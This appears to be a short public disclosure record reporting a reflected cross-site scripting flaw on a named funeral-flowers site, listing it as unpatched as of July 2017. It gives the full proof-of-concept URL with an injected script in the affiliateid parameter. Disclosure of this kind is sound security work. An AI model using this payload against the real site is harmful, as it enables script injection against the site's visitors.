sympathy.legacy.com XSS vulnerability

Vulnerable URL: https://sympathy.legacy.com/en-us/funeral-flowers/dfw/product/ftd-fbbx/?affiliateid=";alertOPENBUGBOUNTY;function%0Ax// Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Ran...